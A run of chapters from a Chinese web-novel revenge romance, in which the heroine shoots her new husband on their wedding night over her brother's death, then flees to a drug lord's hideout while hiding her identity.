热水冲在身上,姜梨的胳膊上起了一层鸡皮疙瘩。她面对着墙壁,江淮之站在他身后掐住她的腰。 经历过那场爆炸之后,姜梨瘦了很多,后来也没养出来多少肉,后背的蝴蝶骨很明显,腰也很细,江淮之一只手就能捏住。 她是一朵娇贵的玫瑰,很难养好,一不小心就养枯了。 这一次他格外的慢,显得比较温柔。 从浴室到卧室,江淮之的身上被姜梨抓住出来好几条划痕。 卧室的落地窗前,窗帘被拉开。 淅淅沥沥的雨水砸在玻璃上,窗外一片朦胧,整片维港都隐在雨幕中。 姜梨的手掌被按着贴在玻璃上,江淮之的手掌贴着她的手背和她十指紧扣。 如果是在晴天,在这里就能清楚的看到维港和下面的行人。 “知道这里为什么全是落地窗吗?”他突然对她说:“在那个时候就想过在这里。” 姜梨被他的话刺激到,耳根发麻,身体也不断的发软,睫毛上都是泪花。 外面大雨磅礴,阴霾密布。 屋内的灯昏黄柔和,一片旖旎。 …… 姜梨醒的时候天才微亮,江淮之还在睡。 他的锁骨和肩膀上还有两道红色的牙印,不太深,但是很明显。精壮的胸肌上还有她抓出来的指甲印,都在提醒姜梨这场情事有多激烈。 她的耳根麻了一下。 余光里看到了江淮之放在床头柜上的手机,姜梨眼神顿了顿,眼看江淮之没有要醒的迹象,她轻手轻脚的爬起来,伸长胳膊将手机捞进了手里。 他的手机没有密码,姜梨快速编辑了一条资讯发给了两个陌生号码,之后又将记录删了个干净,将手机放回了原位。 …… 江淮之是韩家二老爷长子的身份在婚礼的前一个星期宣告了出来。 除了早就知情的韩家,樱洲、北城还有港城都掀起了轩然大波。韩老爷子为了堵住悠悠众口,还公布了一份亲子鉴定书,证实江淮之就是他们韩家人。 顺带着将韩伊与司承德的旧事翻了出来,怒骂司承德死有余辜。生怕司家借机攀附,樱洲和北城邀请了陆家和夏家,没有邀请司家。 还公然表明与司家老死不相往来,不论是生意还是其他。 司氏好不容易回升的股价再一次暴跌。 当年司家谁也不知道看上去柔弱不堪的韩伊居然会是港城韩家的千金小姐,江淮之从私生子变成北城太子爷,现在摇身一变又成了韩家二老爷的儿子韩野。 震惊过后就是悔恨,如果在司承德死后他们没有踩在江淮之的头上,好好抱紧这条大腿,现在该是怎样的飞黄腾达? 其他人不管,司南赫那边江淮之给他送了一份婚宴的请帖,由陆七代为转交。 送出去的所有邀请函都是江淮之亲笔书写,司南赫看到新娘姓名的时候愣了一下。 新郎韩野,新娘姜时愿。 司南赫一下子就明白过来,怪不得那么久都没听到时愿的讯息,原来江淮之把她带去了港城,还给了她一个体面的身份,韩老夫人亲自抚养长大的养女。 不过为何要给她改姓? 时愿和已经去世的姜梨本就相像,时愿还偏偏改成了姜姓,这样真的很容易让人浮想联翩。 也让司南赫有点不是滋味,总觉得心里有点不安逸。 时愿是南诗奕到死都在惦念的人,姜梨又是她的心头肉,最后替南诗奕报了仇的人也是姜梨。反观时愿,对南诗奕一直闭口不提。 司南赫更偏向于姜梨,她的葬礼他也参加了,还打听了她墓地的地址,在清明的那天放了一束花。 如今,江淮之和时愿要结婚了,还冠上了她的姓。 江淮之终究还是把她当成了时愿的替身。 司南赫的舌根有些发苦,想到什么自嘲的笑了笑。他比江淮之要混蛋的多,所以没资格去说他什么。 第190章 我要和你生死与共 姜梨身着凤冠霞帔,化着精致的妆容面如桃花。她没有盖红盖头,而是手持一把团扇遮挡在脸前。 扇子是双面的,正面是大红色,用金线绣了喜字,点缀着红色的花,用真金打造了一对鸳鸯。反面则是白色,用银线绣了喜字,周围点缀着成团的白色珠花,垂下来的流苏掺着几串珍珠,是维纳斯澳白珍珠。 格外的光彩夺目。 她的身边站着两位身着红衣的喜娘,也就是所谓的伴娘。江淮之选出来几十个人,然后姜梨在这些人里选了两个。 因为身份还不能曝光,不然姜梨心里的伴娘人选是阮经颜,阮家在受邀名单里,而阮经颜则是和司南赫的待遇一样,都单独收到了一份邀请函。 江淮之说阮经颜会来参加婚礼。 姜梨听到司仪宣布婚礼开始的时候,眼睫轻颤了一下。 她低头看了眼身上红色的嫁衣,握着团扇的手不断缩紧,指尖泛白,有些微微发抖。 站在她左侧的喜娘微微俯身,轻声在她的耳畔说了句:“今天你是新娘,大喜的日子,该高兴才对。” 姜梨听到她的话,吞咽了一下有些发苦干涩的喉咙,再抬头时已经掩去了阴霾的神色,面若桃花。 伴随着司仪激昂声音落下,两位喜娘站到了她的身前,罩住姜梨的红幔渐渐升起。 随着红色的帘子升起,上面还撒下来了许多的花瓣,一束光洒在了她身上。众人的目光聚在她身上,彻底看清时齐齐的发出一声惊叹。 姜梨戴的头冠是真正的凤冠,江淮之高价买回来的文物。嫁衣也是重工,上面刺绣都是金丝银线,在灯光下流光溢彩,折射出极好看的光芒。 背景音乐响起,两位喜娘站在她的前方,一人提着一只灯笼,引着姜梨一步一步的入场。 红色的衣摆拖地,姜梨握着扇柄掩面,走的极为端庄大气,气场全开。 江淮之站在前面十几米的位置等她。 他今天穿的是跟姜梨配套的中式婚服,很正式,也很喜庆。 姜梨走向他的同时,也在细细的打量他。 他生的极好,所以姜梨才会用漂亮这个词来形容他。他今天比第一次见的时候还要好看,俊的妖冶。 拜天地,拜高堂,夫妻对拜。 礼成。 台下的陆七看着他们,脑中回想起从前的一些事情,不由得头皮一阵发麻。 其他人或许只是感叹这场奢华到极致的中式婚礼,感叹江淮之和他的这位“初恋”终成眷属。 只有陆七知道新娘子是姜梨,他作为江淮之从小到大的好友,旁观了他们相知相爱的过程。 姜梨和江淮之真的不容易。 礼成过后,司仪就按照提前安排好的那样,以新娘子身体不适为由省去了敬酒的那一个流程,直接让喜娘陪着把她送去了婚房。 江淮之一人敬酒。 姜梨被搀扶着退场的时候,司南赫和阮经颜看到了她的侧脸。 而陆七在看搀扶着姜梨的喜娘。 光线有些暗,谁都没怎么看清自己想看的。 “简清时,时愿是不是照着二梨整容了?”阮经颜拽了一下旁边男人的袖子,眼睛依旧盯着姜梨离去的背影,小声道:“太像了。” “她们本来就很像。”简清时眼睛闪了闪,搪塞了过去。 阮经颜将目光收回来,心情一下子低落了下来。 第191章 是你害我家破人亡 韩聿言端着酒杯,走到最角落的位置。 这一桌的人都是港城豪门末流的人家,以及几个名不经传的小明星。 他就算在韩家没有大权,但是也是他们这些人平时可望而不可及的人物。看到他过来,众人纷纷起身,毕恭毕敬的喊他韩四爷。 其中只有一人没有起身,在和邻桌的人说话。 韩聿言笑了笑,没有理会旁人,而是叫了一声那个男人:“时先生。” 江淮之和姜时愿的这场婚礼当真是世纪婚礼,豪门上流和末流之辈都邀请了个遍,还有整个港娱。 时樾在港娱的名气并不是很大,但是只要是接触钢琴的都知道时樾。他本人低调的很,对豪门圈并不感兴趣,就连一些商业活动都很少参加。 之前谢家举办过几场宴会,次次都有邀请他,但是时樾都拒绝了。 没想到他不仅参加了江淮之的婚礼,还专门谱写了一段音乐亲自演奏当姜梨入场的背景音乐。 时樾和旁人的交谈至此结束,他看向韩聿言,依旧没有起身,淡淡的喊道:“韩四爷。” “我之前很喜欢时先生的钢琴曲。” “我知道。”时樾说:“在比赛现场,以及我举办的每一场音乐节我都有看到韩四爷。” “但没想到你还很擅长笛子,不愧被誉为音乐天才。”韩聿言喟叹了一声,然后颇有深意的说了一句话:“你很像我的一个朋友,他也被誉为是钢琴天才。” 对于韩聿言这段富有深意的话,时樾面色不改,坦诚的直视他试探性的目光,“有这样的称号那必然是苦心钻研音乐的人,自然是像的。” 韩聿言笑了笑,敬了他一杯酒后就离开了。 时樾看着他的背影,捏着酒杯的手不断发紧。 江淮之在给陆七敬酒时,他询问了一句:“喜娘是在哪里挑的?” “在几家婚庆公司挑了十几二十个,最后阿愿在里面选了两个出来。” 陆七顺带着问:“你清楚是哪里人吗?” “港城人。”江淮之有些奇怪的看了他几眼,“你问这个做什么。” 港城人么? 他眼里划过一丝落寞,看着手里的酒杯苦笑了一下。大概是喝的有些醉了,才会在一瞬间看错人。 “没什么。”陆七敛眸,心情恢复如常,将杯中的酒一饮而尽。 …… 婚宴十一点半才结束。 江淮之喝了不少酒,谢铭和司南赫把他送江回了幽谷居。 姜梨已经卸了妆,盘的头发拆了下来,如黑色瀑布一般垂下来,发丝因为做过造型有些弯曲。 杯具和各种洗漱用品都是大红色,包括睡衣。红色衬的她的面板很白,未施粉黛的脸也很精致漂亮,坐在那里像个瓷娃娃。 江淮之已经洗过澡,修长的手指轻柔的按压姜梨的头皮。拨开头发,头皮被那顶凤冠压的有些泛红。 姜梨突然叫停江淮之,拉他坐到自己旁边。 她抬起手,手指从他的眉骨顺着鼻梁摸到了下巴,最后手掌贴在他的脸颊上,动作带着极致的贪恋。 江淮之闭上眼睛,顺从的在她手掌心蹭了蹭,跟阿野一样乖。 他今天喝了不少酒,平日白皙的面板透着一层淡淡的红,嘴唇比平时更艳,比玫瑰还要娇。 很适合接吻。 姜梨是这么想,江淮之也是这么想。在双唇快要贴上的时候,姜梨的手却抵在了他的胸口。 她突然问了一句:“你爱我吗?” “爱。” 姜梨听到他毫不犹豫的回答笑了一下,她的眼神一寸一寸凉了下来,变得灰暗无比。 她凑到江淮之的耳边,另一只手不动声色的伸进被子底下握住了那一把冰凉的,已经上膛的手枪。 “可我不爱你。” 寂静的夜里突然出现了“砰”的一声。 一直守在幽谷居附近的谢铭瞬间变了脸,是枪声! 是在江淮之他们那一层楼里的枪声! 为什么会有枪声! 脑子里还盘旋着这些问题,他的身体已经下意识动了起来,带着一群人就冲上了楼。 姜梨握着枪柄从床上站了起来,三秒不到的时间已经和江淮之拉开了距离,以一种居高临下的姿态看着脸色惨白的男人。 胸口被枪打穿,血源源不断地流出来。 姜梨持枪对着他,眼神冷的残忍又刺骨,“我一直都在等这一天,我一直都在找机会杀你。” 此时房顶悬挂着的一个大气球炸了,里面装着的一叠照片也洋洋洒洒的落了下来。 江淮之和沈叙见面,江淮之独自潜入姜祈安住处,江淮之出现在火灾现场,拿走了姜祈安搜集到的犯罪证据亲手交给了沈叙。 每一张照片,每一帧画面都在诉说一个事实—— 江淮之和沈叙狼狈为奸,害死了姜祈安。 他害死了她唯一的亲人! “我已经找人鉴定过了,这些照片没有任何ps合成的痕迹,没有冤你。” 江淮之看着地上散落的照片,觉得荒唐又好笑。他撑着身体站起来,双目猩红的看着姜梨,“我和你认识十六年,你对我连这点信任都没有吗?” “我答应和你去民政局,从来都不是因为我和你的情谊和信任,我满心满眼都只想调查我哥惨死的真相,然后报仇雪恨。”姜梨脖子的青筋凸起,满眼恨意的看着江淮之,“你有什么资格跟我谈信任?是你害死了我哥,是你害的我家破人亡!” “咔嚓!” 姜梨的拇指再次扣动了扳机,黑洞洞的枪口瞄准了江淮之的心脏。 在子弹打出去的前一秒,身上带伤的谢铭这时破门而入,“大少爷!” 他的反应极快,立马冲上去把江淮之扑倒,才让江淮之躲过这一枪。 底下的保镖已经和早就在附近埋伏的一帮人打在了一起,每个人都带着铁棍作为武器,下手丝毫不留情。 谢铭一心只想着江淮之,凭借矫健的身手才勉强冲了上来,如果再晚一秒,他家大少爷怕是就没命了。 姜梨利落的收起枪,趁着两人倒地不起的功夫迅速往外跑。 “跟我走!” 下到一楼的时候,藏在楼道里的那位喜娘一把拽住了姜梨的手腕带她往另一个方向走。 第192章 姜梨是关键线索 外面打得不可开交的一伙人见两个女生已经朝着另一个方向逃走,也立马停了手。 踹开对线的人纷纷迅速上了旁边停靠着的一辆越野,而后消失的无影无踪。 韩斯年早早的就在去机场的必经之路等姜梨。 最后姜梨没等到,等来了江淮之受重伤病危的讯息。 他脸色一沉,匆忙赶去了医院。 韩斯年赶到的时候江淮之还在手术室里,守在门口的是谢铭,他身上的衣服被血浸透了一大半,看得韩斯年心头重重跳了一下。 他沉声:“不是说好了提前部署吗?怎么还会受这么重的伤?” 谢铭只受了些皮外伤,没有大碍。听到韩斯年的话,沉重的神色逐渐变得迷茫,什么提前部署?“部署什么?” “我大哥没有告诉你吗?他早就察觉到姜梨的不对劲了,包括她挑选的喜娘是一名杀手的事情?” “大少爷没有说。” 谢铭的回答宛如一记重锤,狠狠砸在韩斯年的脑门上。 他之前觉得他这个大哥只是有点拍拖脑,现在只觉得他被人抽了魂! 明知道姜梨憋着坏水,明知道她要对自己不利,还老实巴交的往她的陷阱里跳,上赶着挨枪子儿! 更让他想不通的是到底为什么? 姜梨都没有把韩家的秘密泄露出去,现在为什么突然要杀江淮之? 手术室亮着的红灯灭了,医生走了出来,跟韩斯年和谢铭说明了情况。 姜梨的那一枪并没有打中要害,刚好和心脏部位相差两厘米的距离,与死神擦肩而过。 子弹取了出来,失血过多,输了两个单位的血,现在已经脱离了生命危险。 江淮之被送进了单独的vip病房。 “韩总。”谢铭把江淮之昏迷之前交代他的事情转告给了韩斯年:“大少爷的意思是,他受伤中枪的事情不能告诉其他人,尤其是老爷。他让我转告你,对外就宣称少夫人身体抱恙,他们去往国外静养了。” 这也是江淮之为什么不选择去韩家私人医院的原因,怕会传到老爷子的耳朵里。 韩斯年冷笑了一声,都到这一步了,还想护着她。 拍拖脑! 想是这么想,江淮之交代的事情韩斯年也不敢不办。凌晨两点多的时候,他就联络了所谓的“狗仔”,要他释出一些照片来报料。 姜时愿新婚当夜身体抱恙,韩家大少韩野半夜陪诊,后一同出国疗养。 还附上了几张在医院和机场偷拍的照片,为了增加可信度,韩斯年还帮忙p了几下。 九点的时候,在新闻释出出去的五分钟,韩斯年又火速将这条新闻压了下来,随后不做任何反驳宣告。 这样就等同于预设了这件事是真的,到时候姜时愿迟迟不现身也不会有人怀疑什么。 韩斯年前脚刚结束通话自家父亲的电话,后脚就接到了老爷子的电话,无一不是来问姜时愿的情况。 因为江淮之的手机已经关机,所以才打到了他这里。 解释了一通,韩老爷子就要订飞往洛杉矶的机票,韩斯年拦住:“爷爷,病人都需要静养,有大哥陪着您有什么好担心的?” 苦口婆心劝了十几分钟,才打消了他要出国看望姜时愿的想法。 这时韩斯年身边的助理来了办公室。 “韩总,还是没有找到。” 良久的沉默后,韩斯年道:“继续找。” “是。” 机场、高铁站、火车站都没有发现姜时愿,说明她还在港城。从昨晚到现在他们把整个港城翻了个底朝天,但就是找不到姜时愿的踪迹,她就像是人间蒸发了一样。 韩斯年站在窗前,低头俯瞰楼下的繁华,身侧的拳头握紧。 之前她偷继承文书的时候受了伤,韩斯年提取了地上的血液做了对比,证实樱花就是姜梨。 她偷走韩家的机密档案,这次一定会去找她背后的boss交差,那个人一定就是藏在暗处、他们一直都在抓的大毒枭。 其实还有一个地方他们没有查过。 韩斯年拿出手机拨通了警方的电话。 “今天码头要出几艘货船,我怀疑上面的货有问题,你带上几个人搜查一下。” 半晌那边才开口:“什么问题?” “有人私藏毒品。” …… 码头。 一行警察赶到的时候,谢鹤枭正在跟手下的人核对船上货物的数量。 谢鹤枭看着持枪涌过来的警察,眉毛微微皱了一下。 “谢总,有人匿名举报货船上私藏了大量毒品进行走私贩卖,我们现在要进行检查。”说完他就拿出了一张薄纸,“这是搜查令。” 谢鹤枭看着那张薄纸,轻不可闻的冷笑了一下,然后将身子侧开,让几个警察上了货船。 在众人搜查的时候,谢鹤枭看向海面,在荡着一圈又一圈的涟漪。 十五分钟后,警员已经检查完毕,船上的货物没有任何问题。 “这几艘船可以出海了吗?”谢鹤枭薄唇轻启,语气不轻不重,但是眼神已经带上了凛冽的寒意。 警队队长一改刚才的严肃,和颜悦色道:“当然可以。” 谢鹤枭站在他面前,高大的身躯挡住了他的视线,没有人注意到海面上轻微的异样。 警察走后,谢家的货船也已经驶出去十几米远。 晚霞破开云层,余晖洒了下来,海面一片波光粼粼。 谢鹤枭拿出手机发出去一条微信。 “姜梨已经离开港城。” 第193章 不入虎穴,焉得虎子 司南泽收到谢鹤枭的资讯,立马叫来裴安,让他通知澳城以及要经过的所在地的手下,暗中帮助姜梨安全回到樱洲。 她有携带枪支和刀具,过不了安检,肯定不会乘坐飞机和高铁,一定是到处找私家车。 澳城那边可没有别人眼中的那么太平,跨国的商人比比皆是,还有很多东南亚人,她难免会遇到一些麻烦。 裴安疑惑,“先生,我们直接去澳城把姜小姐带回来不是更快吗?” “阿愿已经对江淮之下手了,她做事情向来心思缜密,我又何必出现在澳城去破坏她本来的计划?”司南泽笑了笑,“那么多年都等了,不差这一会。” “是,我马上就去联络他们。” 谢家的货船目的地是澳城。 姜梨上次来澳城的时候是三年前,也是“搭乘”的谢家的货船。 从码头走到繁华的街道上,好似踏入了永不落萤幕的狂欢之地。 她没空再去观看繁华的景象来拉扯出从前的记忆,拽着身边的人随便进了一家商场,挑选了两套轻便的衣服换上。 “不用找了。” 已经等不及找零,扔下一叠人民币后两个人就离开了。 她们身上带有枪支,高铁、火车和飞机都上不了,只能到处搭乘私家车。 辗转了三四天,她们才到达樱洲。 她们刚下车,车上的司机就给裴安打去了电话。 “人已经送到了,还需要我跟着吗?” 裴安:“不用,你回据点就行。” …… “纪繁星生了一个儿子。” 两个人在街上穿梭的时候,旁边的人开始跟她说起了一些情况,“叶辞还没有苏醒的迹象,楚卿然也还没有下落。” 她停顿了一下,然后才说:“谢鹤扬失踪了。” 姜梨的脚步骤然停住,扭头看向她,脸上像结了一层冰:“什么时候的事情?!” “纪繁星生产后的第三天。” 那不是已经快半个月了? “你怎么现在才告诉我!”姜梨的太阳穴突突跳了两下。 “谢鹤扬是自己走的,这段时间发生了这么多事情,我怕会影响你。” 又是叶辞出车祸,又是要刺杀江淮之的。 再告诉她谢鹤扬失踪,就算是神仙,怕是也会头疼欲裂。 姜梨深吸了一口气,然后一言不发,脚步不断加快。 两人来到一处荒郊野地,扒开一米多高的野草丛,开启下水道的盖子,慢慢爬了下去。 底下却不是肮脏黑暗不堪的下水道,里面亮着灯,墙壁和地板都贴着冰凉的瓷砖,擦的锃亮。空气里弥漫着消毒水的味道,阵阵风吹过来,有些凉飕飕的。 这里就是青森疗养院。 这段时间,沈翊和纪繁星还有谢鹤扬一直都躲在这里。 门外有两名穿着白大褂的人守着,见到来人先是愣了一下,随后低下头,恭敬道:“夏小姐。” 她们没有见过姜梨,但是都知道她身边的那个人——夏栎,他们这家疗养院的投资人之一,也就是他们的老板。 青森疗养院是姜梨和夏栎两个人创出来的,三年来花费大量的资金才一步步修整成这样。姜梨在纪繁星那里赚的钱财,都被她尽数投入到了这里面。 这里的名医不比其他正经医院的少,医术可与韩家的私人医院比肩。 曾经因为一场爆炸,夏栎的声带受了伤,全身百分之七十的烧伤,面部毁容。 容貌修复,植皮手术,还有声带的手术,都是在这里进行的。 疗养院除了医生和护士,就没有其他外人。 姜梨和夏栎拐进一条走廊,这里只有一间病房,沈翊一个人站在门外,脸色阴沉。 “怎么了?” 沈翊抬起头,对姜梨说:“他这几天状态非常糟糕,肺部有积水,有感染。” 这样的话姜梨听过许多次了,她闭了闭眼,吸了一口气道:“有积水就做手术抽出来,医生不够就再去……” 沈翊打断她的话,眼里一片阴鸷,“已经快四年了,要是能醒早就已经醒了!既然醒不过来,那就是弃子!” 他的情绪有些崩溃,姜梨看着他没有说话。 倒是夏栎反问了他一句:“那你觉得应该怎么做?杀了他?” 沈翊:“不然呢?难不成他一直不醒,就要一直养着他不成?姜梨,沈月汐你都已经杀了,为什么楚云不能杀?在林遥和你的那个垃圾生母之间就这么难做选择吗?!” 此话一出,姜梨的眉毛蹙了起来。 “你杀沈月汐是因为她跟你有个人仇恨,而根本就不是为了林遥,她不过是你找的一个借口罢了!” “啪!” 轻脆的巴掌声响起,沈翊的脸被打偏了过去,白皙的侧脸上迅速起了一片红印。 空气安静了下来。 夏栎放下手,看着沈翊的眼神泛冷,“别说杀人是要吃牢饭的,就算不吃牢饭你也杀不了这个毒瘤。姜梨能让沈月汐丧身火海付出了什么样的代价你不是很清楚吗?青森疗养院也是姜梨用血和汗筑起来的!若不是为了林遥,姜梨何必去管这个畜生的死活?沈翊,说话做事之前好好动动你的脑子!” 姜梨看了眼依旧紧闭的房门,轻声道:“这里的医生不是草包,好好在这里看着吧,答应你的事情我会办到。” 说完就让夏栎带她去纪繁星所在的病房。 暖气开的很足,进去的时候纪繁星正在轻轻摇着婴儿床。 姜梨先去看了小孩。 很小,眼睛都还睁不开,面板也有些红,皱巴巴的。现在还看不出来长得像纪繁星还是谢鹤枭。 她环绕了一下四周,这里只有一扇窗,透过玻璃看到的是另一堵墙。照进来的也不是阳光,只有冰冷的走廊灯。 这么小的孩子生下来就要躲在这么个地方成长,甚至连他父亲都不知道他的存在,他的母亲也是世人口中已经死去的复仇者。 在得知姜祈安是缉毒警后,姜梨最能感同身受这种酸涩。 扎根的恨意也在滋长。 所有的因,都是那些不法分子种下的。可结下来的果,却要其他无辜的人来承担。 姜梨握紧了拳头,对纪繁星道:“东西在哪?我要走了。” 纪繁星有些担忧的看着她:“你真的决定好了吗?” “有些事情总得有人去做,才能搏得一个结果。”姜梨扯唇对她笑了笑,一字一顿说:“不入虎穴,焉得虎子?” 第194章 我不想你嫁给仇人 姜梨没有打算去看那个病人的情况,反正会有医生救治他,给他续命。 “你不去跟沈翊交代一下吗?他知道你要干什么吗?”夏栎对她说。 “他现在脑子有点不清醒,我不喜欢跟没有脑子的人交流。” 夏栎:“……” 好吧,说的确实有理。 —— 姜梨和夏栎打车来到了一家清吧。 装修风格挺文艺的,规模很小。抬头看了眼门牌,叫做半醒,在樱洲并没有什么名气,姜梨都没有听说过。 而司南泽需要的就是掩人耳目。 姜梨和夏栎对视了一眼,推开门走了进去。 吧台和卡座的人都特别少,非常冷清。跟酒吧的重金属音乐不一样,这里放的音乐很舒缓,听着让人有些昏昏欲睡。 姜梨个子不高,又有些瘦,站在一米七二的夏栎身后被遮了个完全,在前台的视角里就只看到夏栎一个。 见她迟迟的不点单,于是便问:“小姐,你找人吗?” 姜梨这才慢吞吞的从她身后走到前面,她打量着这位前台,跟纪繁星形容的不是一个人,压低了声线说:“我找泽先生,麻烦你带我们过去。” 她戴着口罩,挡住了大半张脸。最惹人注意的就是那一头银发,再然后就是那双暗红的的双眸,看人的目光有些冷。 银发,红瞳,要找泽先生。 关键词让他将眼前的人和一个名字对上了号。 想起泽先生的吩咐,他的身体站直了一些,低下头恭敬的喊了声:“樱小姐。” 姜梨神色淡淡,又重复了一遍:“带我去找泽先生。” “先生今天就在二楼,只是……”他抬眼看了一下夏栎,意思很明显。夏栎属于外人,并不能一起上去。 他们这里干的什么勾当心里都有数,一个从来没出现过的外人是绝对不能见司南泽的。 姜梨抿了抿唇,转头对夏栎说:“你在这等一下。” 二楼不对外开放,装了隔音棉,楼下的音乐声彻底被隔绝,安静的像另一个世界。 窗户玻璃也是单向的,外面的人看不到里面。 姜梨走到这一层唯一的房间前,也不敲门,直接推门而入。 房顶的水晶吊灯是暗黄色的,柔和的光线充斥着每一个角落。房间里有三个人,裴安和司南泽的另一个心腹——裴书。 两个人站在一边宛如两名骑士,守着坐在沙发上的,身穿一身黑色西装的男人。 那是他们的王。 姜梨把门关上,看了一圈,抬脚把放在旁边的一把黑色的椅子勾了过来,然后大剌剌的坐了下来。 裴安:“……” 裴书:“……” 纪繁星跟她说了,司南泽不是她的上司,只是有难解决的人和事才会雇佣她,她也不止帮过他一个。 既然不是上司,干嘛要毕恭毕敬的。 三年里,纪繁星一共就见过他两次,每一次都很随意,裴安和裴书两个人每一次都对她的这个态度很不满,尤其是裴书,次次都要呛她。 第195章 她现在是他的人 姜梨瞳孔震颤。 原来这么多的事情居然都有司南泽参与。 “阿愿,我这么叫你,你还不明白么?”司南泽的目光突然变得幽深,莫名的让人觉得有些荒芜,“我比任何人都更早认识你。” 那是什么时候?姜梨既是震惊,又是迷茫。 他的手不由自主地抬起来想要摸她的头发,姜梨呼吸一滞,偏头躲开。 司南泽的手停在了半空。 “我不记得了。”姜梨的视线有些飘忽,“以前我是雇佣兵,现在我是您的下属,您自重。” “你帮我的那几次,可以在工资里扣。” 司南泽把手收回来,眼皮半垂着,神色黯然。相对无言了一分钟,他才开口:“下去吧,我带你们去住的地方。” 从电梯里出来,姜梨低着头跟在司南泽身后往前走。她感觉自己眼里的地砖都在旋转,走路的脚步都很虚浮,全身都在冒冷汗。 下一秒,两眼一黑就朝地上倒去。 身体没有痛感,她没有摔到地上,而是在司南泽的怀里。 —— 司南泽带她们回了司宅,直接把姜梨抱进了她的房间,还准许夏栎进去帮她换衣服。 换完衣服,家庭医生也刚好赶到。 检查了一番,身上没有伤痕。是受凉引起发烧,三十八度。 她应该已经烧了很久,昏迷时一直都在说胡话。不是在叫姜祈安,就是在喊江淮之。 姜梨每喊一声,夏栎的心就跳一下。 因为她察觉到当姜梨口齿不清的喊出江淮之的名字时,司南泽的神色就沉了下来,那阴郁的眼神让夏栎都觉得恐怖。 医生被她挂上了盐水。 “你的房间在隔壁。” 夏栎看了一眼躺在床上胡言乱语的姜梨迟疑了一下,然后从裤子口袋里摸出来一把枪放在了床头柜上。 默不作声的走出了房间。 卧室安静下来,司南泽盯着床头柜上放着的那把黑色手枪,突然无声的卧室荡漾着一声轻笑。 他坐到床边,如愿的触碰到了那张心心念念的脸,一声一声的喊她:“阿愿,阿愿。” 她想着江淮之又怎么样?他和她,隔着血海深仇。况且,她现在是在他的身边,躺在他的床上。 下不去手没关系,只要她有那个心思就好。 只要她恨着江淮之,她就只会是他一个人的阿愿。 天微微破晓,姜梨缓缓睁开眼睛醒了过来。 一睁眼,就看到窗前站了一个男人。 她精神还有些恍惚,以为在做梦。 “哥哥?”因为看不到脸,她就把这个人认成了江淮之。 但是司南泽以为她是在叫姜祈安,于是扭头朝她看了过去。 就这么轻飘飘的一眼,宛如一盆凉水淋在了姜梨的头上,让她瞬间清醒了过来。 房间里没开灯,他又揹着光。 此刻看过来的模样,渐渐与姜梨当初在医院时,偷偷潜进她病房的那个人逐渐重合。 司南泽走过去,想要伸手探她的额头,却被姜梨拍开了。 “别碰我!”姜梨音调拔高了几个度,语气和表情都带着惊惧。 她刚醒过来,又在生病,打上来的力道也是软绵绵的,没有痛感。 司南泽的神色没有变化,但是手上的动作却没有因为这个插曲停下来,手掌复上了她的脑门,温凉的一片。 “做噩梦了?”司南泽收回手,问她。 姜梨也察觉到自己的反应过于激烈了,回过神来之后,看了眼他的手背,然后顺着他的话道:“梦到我哥哥了,对不起。” 司南泽看了眼挂在墙上的西洋钟,“今年你应该还没有去看看他,等你好了我和你一起去。” 听着他的说辞,姜梨应了一声。 她看着周围的环境,不像酒店,应该是司宅。缓了缓神,开口问:“夏栎呢?” “在楼下的房间。” 姜梨继续说:“您守了我一晚上,我现在已经好了。时间还早,您去休息吧。” 司南泽笑着说:“昨天晚上比较紧急,也没收拾出来什么像样的房间,就把你送到我这了。” 所以现在这个屋子,是司南泽的房间。 姜梨惊愕了一下,翻身就要爬起来,却被司南泽摁住肩膀压了回去。 “我已经让佣人准备了两间干净的客房出来,就在你朋友隔壁,你今晚就可以住进去。医生说你不能受凉,所以现在先睡这里,有什么事就叫我。”司南泽站起身,“我在外面。” 司南泽走后,姜梨的表情逐渐淡了下来。 她松开紧紧抓着床单的手,抚摸着手掌上的几道指甲印。 那晚潜进医院的有两个人,其中一个就是司南泽。 可是司南泽的眼睛是在四月份的时候才复明的,这个是她无意间听到江淮之和洛骞谈话时才听到的。 也就是说,司南泽以前根本就是在装病、装瞎。 而且他潜进医院里也没有想要伤害她的意思,只是来看看她。 冒着身份被发现的危险也要来,南诗奕的事情也在暗中帮她,再结合出他昨天说的,比任何人都更早的认识她。 除了一起长大的叶辞,她小时候接触过的男生就只有两个。 一个是司韩野,另一个就是已经去世的韩聿泽,除此之外,就再也没有其他人了。 姜梨的脑子里渐渐浮现出一个猜想,脸色不由得白了下来。 司南泽难道是韩聿泽? 可如果他是,他的父母就是警察,他为什么要贩卖毒品,要犯罪? 她现在不能联络沈翊,自然没办法去查清楚这些事情。乱在一起的事件线成了团,怎么都理不清楚。 但是姜梨已经在脑子里构思出了一个完整的计划…… 第196章 哪怕是火坑我也会跳 姜梨搬去了三楼,夏栎的隔壁。 她的烧已经退了,辗转反侧到凌晨三四点,都没能入睡。熬到六点多,姜梨去了司南泽的楼层。 三天下来,姜梨也摸到了一点司南泽的生活习惯,他的作息很规律,睡得早,起的也早。 这个点不会打扰到他。 有件事,还需要借司南泽的势。 站在门前,姜梨正要抬手敲门,就隐约听到了里面的说话声,她要敲门的手硬生生停了下来。 司宅的隔音效果并不差,但是姜梨的听力非常的灵敏。 “江淮之那边打听不出什么消息,也不清楚伤势,更不知道他在哪里。韩家上下到现在都不知道他受了伤,还认为他和新婚……”话到嘴边,裴安紧急转了个弯,对他说:“和姜小姐在国外疗养。” 司南泽闻言嗤笑了一声,没有说话。 心里却在想,江淮之不让韩家人知道无非就是为了姜梨。他还想让她回去,体体面面的做他的韩夫人。 裴安微微抬眼,继续说:“先生,要不要让趁现在让姜小姐去解决掉他?顺便试探一下她是不是真的对江淮之有了杀心……” 姜梨听到这,拳头紧了紧。 他们还在怀疑她。 司南泽轻轻摸了摸手里一直捏着的u盘,轻飘飘的看了他一眼,话里都是警告:“我说过,对她就要像对我一样。你怀疑她,就是在怀疑我。” “属下不敢!” “退下!” 姜梨在裴安出来之前就躲回了楼上,等了几分钟,调整好心情她才又重新下楼去找司南泽。 她敲了门,得到允许才进去。 司南泽坐在床边,戴了一副金边的眼镜。 他的长相并不凌厉,偏清秀一些,戴上眼镜更显得温和,像是古代文雅俊朗的书生。 “昨晚没睡好吗?”司南泽拍了拍他旁边的位置,示意她坐下。 姜梨抿了抿唇,随即像裴安和裴书见他时那样——低下头,单膝跪地,喊他先生。 司南泽脸上的表情凝住了,镜片后的眼神瞬间沉了下去,变得暗淡无光,满是落寞。 她低着头,看不到他的表情变化,开口道:“先生,我想回樱大,向学校申请提前毕业,走完流程。” 在外人眼里,她已经去世。 